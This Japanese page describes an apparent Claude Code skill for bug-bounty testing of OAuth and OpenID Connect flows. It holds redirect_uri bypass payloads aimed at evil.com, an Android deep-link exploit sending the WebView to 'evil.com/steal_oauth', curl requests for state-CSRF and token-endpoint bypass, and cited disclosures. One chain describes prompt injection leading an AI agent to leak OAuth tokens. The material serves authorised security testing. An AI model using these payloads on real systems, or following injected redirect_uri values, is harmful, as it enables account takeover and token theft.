hunt-oauth について
hunt-oauthは、WebアプリやモバイルアプリのOAuthおよびOpenID Connectフローを調べるセキュリティ研究者向けのスキルです。偵察から攻撃テスト、影響の検証までを手順としてまとめています。
主な機能
- 01OAuthエンドポイントとフローの整理
- 02redirect_uri検証テスト
- 03stateとnonceの確認
- 04モバイルディープリンクのテスト
- 05影響検証チェックリスト
活用シーン
- 01WebアプリのOAuthコールバック評価
- 02モバイルOAuthディープリンクのテスト
- 03トークンエンドポイントの認証確認
- 04アカウント乗っ取り影響の検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-oauthインストール後、Claude Code で/hunt-oauthを入力して読み込まれたか確認します。
詳細
最重要ターゲット
OAuth の脆弱性は、アカウント乗っ取り、セッション窃取、認証バイパスを直接可能にするため、ウェブセキュリティにおいて最も価値の高いバグの種類のひとつです。プログラムで最も高額な報奨金が支払われるのは、この三つの脅威です。
特に価値の高いターゲット:
- 一般消費者向けの ID プロバイダー(Google、Facebook、PayPal、Apple の SSO 統合)— ひとつ侵害されると、すべての依存先に影響が及びます
- カスタムのディープリンク OAuth ハンドラーを備えたモバイルアプリ — Android/iOS のインテント処理は、非常に緩いことで知られています
- マルチテナント SaaS プラットフォーム(GitLab や Reddit 規模のアプリ)— OAuth の脆弱性ひとつで、数百万のアカウントが影響を受けます
- フェデレーションログインを備えたゲーム/エンターテインメントプラットフォーム(Rockstar、Oculus)— セキュリティ成熟度の低いチームが担当していることも少なくありません
- エンタープライズ向け SSO コネクター — 重要なインフラで、深刻度に応じて高額な報奨金が支払われます
特に高額な報奨金が支払われる資産の種類:
- OAuth 認可エンドポイント(
/oauth/authorize、/connect/authorize) - トークン交換エンドポイント(
/oauth/token) - モバイルのディープリンクハンドラー(
push_notification_webview、カスタムスキーム URI) - ソーシャルログインのコールバックハンドラー(
/auth/callback、/oauth/callback)
一般的な報奨金: プログラムによって異なりますが、500~20,000 ドル以上です。アカウント乗っ取りの調査結果は、最高額の報奨金になることがよくあります。
攻撃対象領域の兆候
探すべき URL パターン
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
OAuth を示すレスポンスヘッダー
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
JavaScript のパターン(JS バンドル内を grep で検索)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
技術スタックの兆候
AndroidManifest.xmlにintent-filterがあり、http://またはカスタムスキーム URI を処理する Android アプリ- Doorkeeper、OmniAuth、Devise(Ruby)、Passport.js(Node)、Spring Security OAuth を使用するアプリ
- ソーシャルログインボタン(Google、Facebook、Apple)がある場合、OAuth の攻撃対象領域が存在します
.well-known/openid-configurationがある場合、OIDC の攻撃対象領域全体が利用可能です
段階的なハンティング手法
-
すべての OAuth エントリーポイントを列挙する
- アプリ内をクロールして、
/oauth、/connect、/auth、/loginのパスを探します .well-known/openid-configurationと.well-known/oauth-authorization-serverを確認します- モバイル APK を逆コンパイルします:
apktool d app.apkを実行し、redirect_uri、intent://、ディープリンクのスキームを grep します
- アプリ内をクロールして、
-
OAuth フロー全体を把握する
- 認可リクエストを取得します:
client_id、redirect_uri、state、nonce、response_typeを記録します - コールバックを取得します:トークン/コードの送信先と、
state/nonceの検証方法を記録します
- 認可リクエストを取得します:
-
redirect_uriの検証をテストする(最も有望)- ホスト名の完全一致を回避できるか試します:
redirect_uri=https://legit.com.evil.com - パストラバーサルを試します:
redirect_uri=https://legit.com/callback/../../../evil - まず正規ドメイン上のオープンリダイレクトを試し、その後 OAuth に連鎖させます
- パラメーター汚染を試します:
redirect_uri=https://legit.com&redirect_uri=https://evil.com - パーサーを混乱させるため、エンコードされた文字を試します:
%2F、%40、%23
- ホスト名の完全一致を回避できるか試します:
-
stateパラメーターをテストする(CSRF)stateを完全に削除します。フローは完了しますか?- セッションをまたいで固定の
state値を再利用します stateがサーバー側で検証されるのか、クライアント側のみで検証されるのかを確認します
-
nonceパラメーターをテストする(リプレイ/バイパス)- あるフローの nonce を取得し、別のフローで再利用を試みます
- トークン交換後に nonce が検証されるか確認します
- リファラー漏えい(手順 9)を介して nonce を抽出できるかテストします
-
認証ステップが完全かテストする
- 複数ステップの認証(例:メール認証+OAuth)の場合、
/oauth/tokenに直接進めますか? - 未認証メールなどの不完全な認証状態がトークンエンドポイントで受け入れられるか確認します
- 複数ステップの認証(例:メール認証+OAuth)の場合、
-
リファラー漏えいを調査する
- URL のフラグメントまたはクエリにトークンを含む OAuth コールバック後に、ページ上のリソース(画像、スクリプト、iframe)が完全な
Refererヘッダーを受け取るか確認します - 特に、認証後に呼び出される言語切り替え機能、分析リクエスト、ソーシャル共有ボタンを調べます
- URL のフラグメントまたはクエリにトークンを含む OAuth コールバック後に、ページ上のリソース(画像、スクリプト、iframe)が完全な
-
モバイルのディープリンクをテストする
- Android の場合:OAuth WebView を攻撃者が制御する URL にリダイレクトする、悪意のある intent URI を作成します
- ディープリンクハンドラーが読み込み前にオリジン/ホストを検証するか確認します
- 任意の URL を受け入れる
push_notification_webviewのパターンをテストします
-
設定ミスのあるクライアント認証情報をテストする
client_secretが JS バンドルまたは APK リソースに含まれていないか確認します- 漏えいした
client_id/client_secretと組み合わせた場合、トークンエンドポイントが任意のredirect_uri値を受け入れるかテストします
-
検証して記録する
stateが検証されないことを確認 → アカウント連携への CSRF- トークンが攻撃者のドメインに送信されることを確認 → セッション窃取
- メール認証をスキップできることを確認 → 認証バイパス
- 報告前に Gate 0 チェックを実行します
ペイロードと検出パターン
redirect_uri バイパス用ペイロード
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://[email protected]
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%[email protected]
https://legit.com%252F..%252F..evil.com
State CSRF テスト
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl --max-time 30 --connect-timeout 10 -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
リファラー経由の Nonce 抽出
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl --max-time 30 --connect-timeout 10 -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
モバイルディープリンクのエクスプロイト(Android)
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
トークンエンドポイントの認証バイパス
# Test unauthenticated token exchange (skip email verification)
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl --max-time 30 --connect-timeout 10 -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "[email protected]" \
-d "password=password123" \
-d "client_id=CLIENT_ID"
偵察用 Grep パターン
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl --max-time 30 --connect-timeout 10 https://target.com/.well-known/openid-configuration | python3 -m json.tool
よくある根本原因
-
redirect_uriの検証が不十分 — 開発者が完全一致ではなくプレフィックス(startsWith)でホワイトリスト登録したり、特定のパスではなくドメイン全体をホワイトリスト登録したりします。そのため、同じドメイン上のサブパスにあるオープンリダイレクトが、トークンを完全に窃取する手段になってしまいます。 -
stateパラメーターがない、または検証されていない — 開発者がCSRF対策を省いた基本的なチュートリアルに従ってOAuthを実装したり、JavaScriptによるクライアント側だけでstateを検証したりします(簡単に回避できます)。 -
交換後にnonceが検証されない — リクエストでnonceを生成して送信しても、コード交換後にIDトークンと照合して検証されないため、リプレイ攻撃が可能になります。
-
認証手順の順序がサーバー側で強制されていない — チームが複数ステップの認証(登録 → メール確認 → OAuth許可)を実装しても、サーバー側で順序を強制していません。トークンエンドポイントは、前提となる手順が完了しているか確認しません。
-
コールバックページでURLにトークン/コードが含まれ、外部リクエストが発生する — 開発者がクエリ文字列にトークンを含むコールバックページにユーザーを誘導した後、そのページからアナリティクス、ソーシャル共有、CDNへのリクエストが送信され、
Refererヘッダーを通じてURL全体が漏えいします。 -
モバイルのディープリンクハンドラーがすべての入力URLを信頼する — Android/iOSの開発者が、読み込むURLが自社ドメインのものか検証せずに、プッシュ通知フロー用のWebViewラッパーを構築します。
-
OAuthアプリケーション登録の設定ミス — 開発者がワイルドカードのリダイレクトURI(
https://*.example.com/*)を登録したり、開発時に制限を設けず、本番環境に移行しても制限を適用し忘れたりします。 -
クライアントシークレットがモバイルアプリに埋め込まれている — 機密クライアントの認証情報を公開情報として扱うことで、そのシークレットを入手した攻撃者が、任意のリダイレクトURIを指定してトークンリクエストを実行できるようになります。
回避手法
防御側:redirect_uri を完全一致でホワイトリスト登録する
回避方法: ホワイトリスト登録されたドメイン自体にあるオープンリダイレクトを見つけ、そのURLをredirect_uriとして使用します。OAuthサーバーは登録済みドメインを検証します ✓ が、オープンリダイレクトによってコード/トークンが攻撃者に転送されます。
redirect_uri=https://legit.com/logout?next=https://evil.com
防御側:state パラメーターを必須にする
回避方法: stateが検証されていても、長さ/形式だけが対象で、セッションとの紐付けは検証されていないか確認します。予測可能な固定のstate値を使用します。また、PKCEが強制されているかも確認します。強制されていない場合、stateの確認だけではコードインジェクション対策として不十分です。
防御側:フラグメントのみでトークンを渡す(response_type=token)
回避方法: ブラウザーはフラグメントをRefererに含めませんが、コールバックページ上のJavaScriptがwindow.location.hashを読み取り、アナリティクスに渡したり、親フレームにpostMessageで送信したりする可能性があります。postMessageハンドラーを傍受します。
防御側:モバイルのディープリンクでホストを検証する
回避方法: URLエンコード(https%3A//evil.com)、二重エンコード、Unicode正規化、またはヌルバイトを試し、検証を混乱させつつ、実際のWebViewでは正しく遷移するか確認します。
防御側:有効期間の短い認可コード
回避方法: 攻撃者が高速な受信先を用意していれば、有効期間の短いコードでもリファラー漏えいやオープンリダイレクトは機能します。CSRFの場合、被害者自身がフローを完了するため、タイミングはそれほど重要ではありません。
防御側:PKCEを強制する
回避方法: PKCEがすべてのクライアントに必須なのか、特定のクライアントに限られるのか確認します。レガシークライアントやモバイルアプリが免除されている場合があります。code_challengeを省略してテストします。サーバーがそれでもトークンを発行するなら、PKCEは強制されていません。
防御側:nonceを検証する
回避方法: nonceがJavaScriptによるクライアント側だけで検証されているか確認します。署名が検証されていない場合(まれですが、設定を誤った実装で確認されています)、IDトークンのnonceクレームを傍受して変更します。また、最初のリクエストではnonceが検証されるものの、トークンの更新時には検証されないケースもテストします。
ゲート 0 の検証
レポートを書く前に、次の 3 つすべてに回答してください。
1. 攻撃者は今、何ができますか? 具体的に説明してください。「被害者に細工した URL を送る → 被害者がクリックする → 被害者の OAuth コードが攻撃者のサーバーにリダイレクトされる → 攻撃者がコードをアクセス トークンと交換する → 攻撃者は被害者としてログインする」のように記述します。この一連の流れを最後まで説明できない場合、情報提供にとどまる可能性があります。
2. 被害者は何を失いますか? 最低限の基準は、被害者が認証済みセッション(アカウントへのアクセス)を失うことです。より重大な影響としては、連携済みアカウント、支払い方法、個人データの喪失が挙げられます。攻撃者がアクセス権を得ずに被害者の身元を知るだけの場合、深刻度は大幅に下がります。
3. ゼロから 10 分以内に再現できますか? 以前の状態が一切ない、新しいブラウザーまたはデバイスを用意してください。記述した手順だけを使って、「未認証」の状態から 10 分以内に「被害者として認証済み」の状態まで進めるなら、そのバグは実在し、報告に値します。「リンクをクリックする」以上の特定の被害者の行動や、タイミングが合うこと、ネットワーク上の位置を必要とする場合は、それらの依存条件を明記してください。
実際の影響の例
シナリオ 1:プッシュ通知のディープリンクによるモバイルセッションの窃取(PayPal/Venmo のパターン)
攻撃者は、Android アプリのプッシュ通知ハンドラーが、ホストを検証せずにディープリンクの任意の url パラメーターを受け入れることを発見します。攻撃者は、アプリのカスタムスキームを使って、自身のサーバーを指す悪意のある URL を作成します。ソーシャルエンジニアリングや侵害されたプッシュ通知チャネルを通じて被害者に送信すると、アプリは WebView を開いて攻撃者のサーバーに移動します。攻撃者のサーバーはそこで OAuth フローを開始し、攻撃者の管理下にある「コールバック」に戻される OAuth トークンを取得します。結果として、数百万人のユーザーに影響する決済プラットフォームで、アカウントが完全に乗っ取られます。ビジネスへの影響:不正な送金、連携済みの支払い方法や取引履歴の漏えい。
シナリオ 2:トークンエンドポイントへの直接アクセスによるメール認証の回避(GitLab のパターン)
開発者が、メールアドレスを認証していない状態でアカウントを作成します。通常、プラットフォームではメールアドレスが認証されるまで、完全なアクセスをブロックします。しかし、/oauth/token エンドポイントは認証状態を確認せず、認証情報のみを検証します。攻撃者は有効な(未認証の)認証情報を使って /oauth/token を直接呼び出し、すべてのスコープが付与された OAuth トークンを取得します。このトークンは、その後のすべての認可チェックを通過します。結果として、認証が完全に回避され、未認証または使い捨てのメールアドレスで作成したアカウントがプラットフォームに完全にアクセスできるようになり、メール認証のセキュリティ制御が完全に無効化されます。GitLab のようなプラットフォームで大規模に発生した場合、CI/CD パイプライン、リポジトリ、API の利用に影響します。
シナリオ 3:言語変更時の Referer ヘッダーを介した OAuth トークンの窃取(Rockstar Games のパターン)
Facebook ログインの OAuth コールバックページでは、access_token をクエリ文字列に含む URL にユーザーが移動します。このページには、言語設定を変更する GET リクエストを行う言語切り替えウィジェットがあります。この GET リクエストには、Facebook のアクセス トークンを含むページの完全な URL が Referer ヘッダーとして含まれます。サーバーログを読み取れる攻撃者(言語変更エンドポイントを侵害した攻撃者、またはピクセルへのアクセス権を持つ悪意ある広告主も含む)は、Referer ログから Facebook OAuth トークンを収集します。結果として、攻撃者は被害者の Facebook アカウントや、その Facebook トークンを受け入れる他のサービスに認証でき、複数のプラットフォームにまたがるアカウント乗っ取りが成立します。ビジネスへの影響:GDPR/プライバシー侵害、複数サービスにまたがるアカウント侵害、規制上の責任が生じる可能性。
公開済みレポートの引用(追加 +9 件 — 2020~2024 年)
以下の実在が確認されたバグバウンティ/協調的な脆弱性開示事例は、引用された記事に実際に動作する PoC が記録されており、このスキルの対象範囲を当初の内部参照 10 件から拡張するものです。各事例は、それぞれ異なる OAuth のサブクラスです。
11. Semrush — IDN の同形異字リダイレクト_uriバイパス (H1 #861940)
- サブクラス:Unicode の類似文字を含むホスト(同形異字)を利用した redirect_uri バイパス
- ペイロード:redirect_uri=https://oauth.šemrush.com/cb(Punycode xn--emrush-9jb.com)— 検証器のラテン文字のみの文字列チェックを通過
- 根本原因:サーバーは redirect_uri のホストを ASCII 文字列の一致で検証していましたが、比較前に Unicode → 類似文字 → Punycode への正規化を行っていませんでした
- 開示:2020年、公開報奨金(額は非公開)。発見者:Yassine Aboukir
-
Bohemia Interactive — redirect_uri フィルターバイパス(BiStudio) (H1 #405100)
- サブクラス:
redirect_uriの検証バイパス → OAuth トークンの窃取 - ペイロード:正規表現/プレフィックスフィルターを回避し、攻撃者のホストにトークンを送信するよう
redirect_uriを細工。報告者はこのバイパスを、トークンを完全に漏えいさせる PoC につなげました - 根本原因:意図されたパターンには一致しながら、攻撃者が制御するホストを受け入れる脆弱な redirect_uri フィルター
- 年:2018年に開示。後続の報告でも引用されている、正規表現を利用した redirect_uri バイパスの代表例です
- サブクラス:
-
pixiv — OAuth
redirect_uriのパストラバーサル (H1 #1861974)- サブクラス:パストラバーサルによる
redirect_uriバイパス → 認可コードの漏えい - ペイロード:
redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb— サーバーは検証後に正規化していました - 根本原因:検証器は未加工の文字列を検査していましたが、後続の HTTP/ブラウザー処理が
../のトラバーサルを処理し、攻撃者のパスにコードを送信しました - 開示:2023年、2,000ドルの報奨金、244件の賛成票 — 支払いが確認済み
- サブクラス:パストラバーサルによる
-
Slack — OAuth2 redirect_uri バイパス(ドメインサフィックス) (H1 #2575)
- サブクラス:ドメインサフィックス/サブドメインの混同を利用した
redirect_uriの検証バイパス - ペイロード:登録済みホストとサフィックスが一致するドメイン(例:
slack.com.attacker.com)を使った redirect_uri が、サフィックスのみのチェックを回避しました - 根本原因:厳密なホスト一致ではなく、
endsWith()/サフィックス一致を使用 - 開示:2013年(現代の OAuth トレーニング資料でも引用される基礎的な事例)— Slack の公開報奨金
- サブクラス:ドメインサフィックス/サブドメインの混同を利用した
-
Booking.com(Facebook ソーシャルログイン) (Salt Labs の記事)
- サブクラス:3段階の連鎖 — 許可リスト登録済みドメインのオープンリダイレクト + redirect_uri バイパス +
response_typeの切り替え → Facebook OAuth コード/トークンの窃取 → ATO - ペイロード:
redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cbを含む認可 URL と、フラグメント経由でトークンを漏えいさせるよう切り替えたresponse_type - 根本原因:検証器が
account.booking.com配下の任意のパスを信頼していました。このホスト上のオープンリダイレクトにより、認証コードが攻撃者に転送されました - 開示:2023年3月 — 協調的な開示。公開された報奨金額はありません(約5億 MAU が影響を受ける可能性)
- サブクラス:3段階の連鎖 — 許可リスト登録済みドメインのオープンリダイレクト + redirect_uri バイパス +
-
Expo.io(
expo-auth-session)— CVE-2023-28131 (Salt Labs の記事)- サブクラス:スコープクリープ/未検証の
returnUrlパラメーター → アプリをまたぐ OAuth コードの窃取(expo-auth-sessionのソーシャルログインを利用するすべてのサービスに影響) - ペイロード:攻撃者が OAuth プロキシに
returnUrl=https://attacker.tldを渡すと、Expo が Facebook/Google/Apple/Twitter のコードをそのまま攻撃者に転送します - 根本原因:フレームワークレベルの OAuth プロキシが、ソーシャル IdP のコールバックを転送する前に
returnUrlのホストを検証していませんでした - 開示:2023年5月。CVSS 9.6。2023年2月のホットフィックスで修正され、2023年2月26日までに非推奨となりました
- サブクラス:スコープクリープ/未検証の
-
Microsoft Azure AD マルチテナント — 「nOAuth」(Descope による解説)
- サブクラス:未検証で変更可能な
emailクレームを介した IdP をまたぐアカウント乗っ取り(「Pass-The-Token」に相当) - ペイロード:攻撃者が Azure AD 管理者プロフィールの
mail属性を被害者のアドレスに設定 → メールクレームをキーとしてユーザーを識別する依存パーティーで「Microsoft でログイン」をクリック → 即座に ATO - 根本原因:Microsoft の
emailクレームは変更可能かつ未検証であり、依存パーティーはこれを主要識別子として扱っていました - 開示:2023 年 4 月 11 日に報告、2023 年 6 月 20 日に修正(緩和策と新しい
xms_edovクレーム)
- サブクラス:未検証で変更可能な
-
Grammarly / Vidio / Bukalapak — 「Pass-The-Token」ソーシャルログイン(Salt Labs による解説)
- サブクラス:Facebook の access_token に対する audience /
audの検証不足 → クライアントをまたぐトークンのリプレイ → ATO - ペイロード:攻撃者が
attacker.app向けに発行された Facebook トークンを取得 → Grammarly/Vidio/Bukalapak のログイン API にトークンを再送 → サーバーが/me経由で FB ユーザーを取得し、被害者のメールアドレスを見つけて、被害者のセッションを発行 - 根本原因:依存パーティーは攻撃者が発行したトークンで Facebook の
/meを呼び出すものの、トークンのapp_idが依存パーティーに属することを検証していませんでした - 開示:2023 年 10 月 — 3 サイト全体で約 10 億アカウントが影響を受けた、協調的な開示
- サブクラス:Facebook の access_token に対する audience /
-
Zoom — OAuth「ダーティー・ダンシング」による連鎖的 ATO(Harel Security による解説)
- サブクラス:
response_type=tokenの差し替え + 緩いpostMessageオリジンチェック + Cookie Tossing → web_message レスポンスモード経由で認可コードが漏えい → ATO + カメラ/マイクの乗っ取り - ペイロード:攻撃者のページが
response_type=code&response_mode=web_messageを指定して Zoom OAuth を開き、ウィンドウのリスナーが任意の*.zoom.usオリジンを受け入れるため、結果として送信されるpostMessageを傍受 → コードをセッションと交換 - 根本原因:脆弱な postMessage オリジンチェック、
stateに対する CSRF バインディングの欠如、厳密なオリジン検証なしに親ウィンドウへコードを返すresponse_mode=web_messageの組み合わせ - 開示:2023 年 10 月に報告、2024 年 1 月に修正、報奨金 15,000 ドル(Sudi / BrunoZero / H4R3L)
- サブクラス:
-
Detectify Labs — 「Dirty Dancing」による複数ベンダーの OAuth トークン漏えい(Detectify の解説、F. Rosén)
- サブクラス:レスポンスタイプの切り替え + 無効な state に関する挙動 + サードパーティ JavaScript ガジェットチェーン → XSS が一切不要な OAuth コード/トークンの漏えい
- ペイロード:攻撃者が
codeのみを検証するエンドポイントにresponse_type=tokenを強制し、無制限な postMessage リスナーやコールバックページ上の URL ストレージガジェットと組み合わせて、クロスオリジン読み取りを通じてトークンを抜き取る - 根本原因:OAuth サーバーが response_type のダウングレード/差し替えを許容し、コールバックページが許容範囲の広い postMessage 受信側を通じて
window.locationを漏えいさせます - 開示:2022 年 7 月 — 複数ベンダー(Apple、Microsoft、Slack など);PortSwigger Top 10 Web Hacks 2022 第 1 位
ブラウザー解析とサーバー解析 — redirect_uri のプレフィックス一致を回避するパターン
サーバー側の redirect_uri プレフィックス一致の不備は、OAuth コードを攻撃者に渡すために必要ですが、それだけでは不十分です。サーバー側のチェックを通過することは関門の一つであり、ブラウザーが実際にクロスオリジンへ移動することは別の関門です。両者の挙動は異なります。常に両方を確認してから、調査結果を ATO につながるチェーンとして記載してください → ATO。
サーバーの redirect_uri バリデーター | 攻撃 URL | サーバーの startswith() | ブラウザー上の実際のホスト | 悪用可能か |
|---|---|---|---|---|
prefix = https://acme.example(スラッシュなし) | https://[email protected]/cb | 通過 | evil.com(WHATWG URL 解析では、@ はユーザー情報の区切り文字であり、:// の後の最初の / より前にあるため) | はい |
prefix = https://acme.example/(末尾にスラッシュ) | https://acme.example/@evil.com/cb | 通過 | acme.example(@ は最初の / より後にあるため、WHATWG はこれをパスの文字として解析します) | いいえ — ブラウザーは acme.example にとどまります |
prefix = https://acme.example(部分文字列一致) | https://acme.example.evil.com/cb | 通過 | acme.example.evil.com(サブドメインの拡張 — .evil.com がホストに追加されます) | はい |
prefix = https://acme.example/(末尾にスラッシュ、サーバーが .. を正規化) | https://acme.example/../../@evil.com/cb | 生の startswith 判定で通過 | acme.example(サーバーがパスを正規化します。サーバーが正規化しなくても、ブラウザーもパスを正規化します) | 通常はいいえ |
prefix = https://acme.example/(Chromium 固有) | https://acme.example/\@evil.com/cb | 通過 | ホストは状況によります — Chromium は \ を / に変換するため、URL は https://acme.example//@evil.com/cb となり、acme.example にとどまります | 通常はいいえ |
運用上のルール: WHATWG URL パーサー(2018 年以降、すべての最新ブラウザーで使用)は、ユーザー情報をオーソリティセクション、つまり**:// の後の最初の / より前でのみ**解析します。パスが始まると、@ は単なる文字です。サーバー側の文字列 startswith チェックではこの動作をモデル化できないため、ブラウザーが正規のホストにルーティングする URL も通過させてしまいます。
OAuth の調査結果を ATO チェーンとして記載する前に、最終的な遷移を必ずヘッドレス環境(Playwright/Puppeteer/実際のブラウザー)でテストしてください。 サーバー側で受け入れられても、ブラウザーが正規のホストにとどまるなら、ATO ではありません。docs/verification/phase3-playwright-browser-execution.md のテスト 29 で実環境にて検証済みです。
検証
このセルフテストを実行して、OAuth の調査準備ができていることを確認してください。
-
スキルの完全性 — スキルファイルが読み取り可能で、正しい形式であることを確認します。
grep -q "name: hunt-oauth" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用準備が整っていることを確認します。
落とし穴
- トークン窃取を伴わない
redirect_uriのオープンリダイレクト — 被害者のブラウザーがコード/state を伴ってリダイレクトに従わない限り、evil.com にリダイレクトしてもトークンは窃取されません。 - 認可エンドポイントの CSRF — state パラメーターが欠落していると、OAuth フローで CSRF が可能になります。
stateパラメーターが検証されるかテストしてください。 - パブリッククライアントでの PKCE の欠落 — PKCE を使用しない SPA/ネイティブアプリは、認可コードの傍受に対して脆弱です。
- インプリシットフローが現在も使用されている — インプリシットフロー(response_type=token)では、URL フラグメント/リファラーにトークンが漏えいします。報告では非推奨として扱い、必ずしも悪用可能とは限らない点に留意してください。
- フロントエンドコード内のクライアントシークレット — JavaScript バンドル内の OAuth クライアントシークレットは、実質的に公開されています。問題となるのはシークレットの存在ではなく、それによって可能になる攻撃です。
関連スキルとチェーン
hunt-subdomain— 影響が最も大きい、唯一の OAuth チェーンです。チェーンの基本要素:OAuth のredirect_uriバリデーターが任意の*.target.comサブドメインを許可し、偵察によってdev-staging.target.comが廃止済みの Heroku/S3/Azure アプリを指す CNAME だと判明する → 放置されたサブドメインを取得する → そこに OAuth コールバック受信サーバーをホストする →/oauth/authorize?redirect_uri=https://dev-staging.target.com/cbを細工する → 被害者がクリックする → 認証コードが攻撃者の取得したサブドメインに届く → トークンと交換する → ATO。サブドメインが「正当に」target.com の管理下にあるため、redirect_uri の許可リストを通過します。hunt-ato— OAuth の state-CSRF は、アカウント連携を介した ATO の典型的な基本要素です。チェーンの基本要素:stateパラメーターが存在しない、またはセッションに紐付けられていない + 被害者がすでに target.com にログインしている + 攻撃者が自身のアカウントから OAuth フローを開始し、交換前にcodeを取得する + 攻撃者のコードを含むコールバック URL を細工する → 被害者にアクセスさせる → 被害者の target.com セッションが攻撃者の Google/Facebook ID に連携される → 攻撃者が Google 経由でログインする → 被害者のアカウントを乗っ取る。hunt-llm-ai— AI エージェント(ChatGPT plugins、Claude MCP サーバー、エージェント型コパイロット)向けの最新の OAuth フローでは、OAuth 2.1 + PKCE が再利用されています。チェーンの基本要素:エージェント型 AI がドキュメント内の間接的なプロンプトインジェクションからredirect_uriを受け入れる → モデルが攻撃者のコールバックを含む OAuth 認可 URL を作成する → ユーザーがエージェント自身のフローだと思って「承認」をクリックする → ツールの使用を通じてトークンが攻撃者のドメインに流出する。hunt-saml— OAuth が SAML IdP の上に重ねられている場合、IdP レベルの XSW が OAuth ATO の経路になります。チェーンの基本要素:アサーションの検証後に OAuth トークンを発行する SAML SP + アサーションに対する XSW 攻撃でNameIDを管理者ユーザーに変更する → SP が管理者の ID を持つ OAuth トークンを発行する → OAuth スコープ付き API が管理者アクセスを許可する。security-arsenal— OAuth のredirect_uriバイパステーブル(ホスト混同[email protected]、legit.com.evil.com、パストラバーサル、パラメーター汚染、エンコード済みスラッシュ%2F、フラグメントインジェクション#legit.com)と、完全一致の検証によって先に許可リスト対象ドメイン上のオープンリダイレクトを見つける必要がある場合に備え、オープンリダイレクトチェーンのカタログを確認してください。triage-validation— トークンが実際には漏えいしない OAuth の「オープンリダイレクト」(stateパラメーターのみが漏えいする場合や、コールバックページの URL に認証情報が含まれない場合)を Critical と主張する前に、重大度判定ゲートを実行してください。state のみの漏えいは Low です。トークン/コードの漏えいに加え、交換の実証ができている場合は Critical です。コードを交換する手順は必須です。